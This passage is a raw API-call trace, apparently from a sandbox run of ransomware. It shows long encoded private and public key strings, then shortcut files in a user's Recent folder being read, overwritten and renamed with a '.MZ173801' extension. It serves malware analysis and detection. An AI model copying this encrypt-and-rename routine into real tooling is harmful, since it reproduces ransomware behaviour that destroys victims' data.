lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0151.465] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0151.466] GetCurrentThreadId () returned 0xab4 [0151.466] GetCurrentThreadId () returned 0xab4 [0151.466] GetCurrentThreadId () returned 0xab4 [0151.467] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0151.467] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0151.467] GetCurrentThreadId () returned 0xab4 [0151.467] GetCurrentThreadId () returned 0xab4 [0151.467] GetCurrentThreadId () returned 0xab4 [0151.467] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\PurPDfKeeDvp_IIQ.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\purpdfkeedvp_iiq.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0151.467] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0151.467] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0151.467] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x43f [0151.467] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0151.467] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x43f, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x43f, lpOverlapped=0x0) returned 1 [0151.468] CloseHandle (hObject=0x280) returned 1 [0151.468] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\PurPDfKeeDvp_IIQ.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\purpdfkeedvp_iiq.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0151.469] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x43f, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x43f, lpOverlapped=0x0) returned 1 [0151.470] CloseHandle (hObject=0x280) returned 1 [0151.471] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\PurPDfKeeDvp_IIQ.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\purpdfkeedvp_iiq.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\PurPDfKeeDvp_IIQ.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\purpdfkeedvp_iiq.lnk.mz173801")) returned 1 [0151.472] GetCurrentThreadId () returned 0xab4 [0151.472] GetCurrentThreadId () returned 0xab4 [0151.472] GetCurrentThreadId () returned 0xab4 [0151.472] GetCurrentThreadId () returned 0xab4 [0151.472] GetCurrentThreadId () returned 0xab4 [0151.472] GetCurrentThreadId () returned 0xab4 [0151.472] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4cd930c0, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4cd930c0, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x4cd930c0, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3ab, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="pUtEu.lnk", cAlternateFileName="")) returned 1 [0151.472] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0151.472] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0151.472] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pUtEu.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\puteu.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4cd930c0, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4cd930c0, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x4cd930c0, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3ab)) returned 1 [0151.472] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pUtEu.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\puteu.lnk")) returned 0x20 [0151.472] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pUtEu.lnk", dwFileAttributes=0x80) returned 1 [0151.474] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0151.474] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 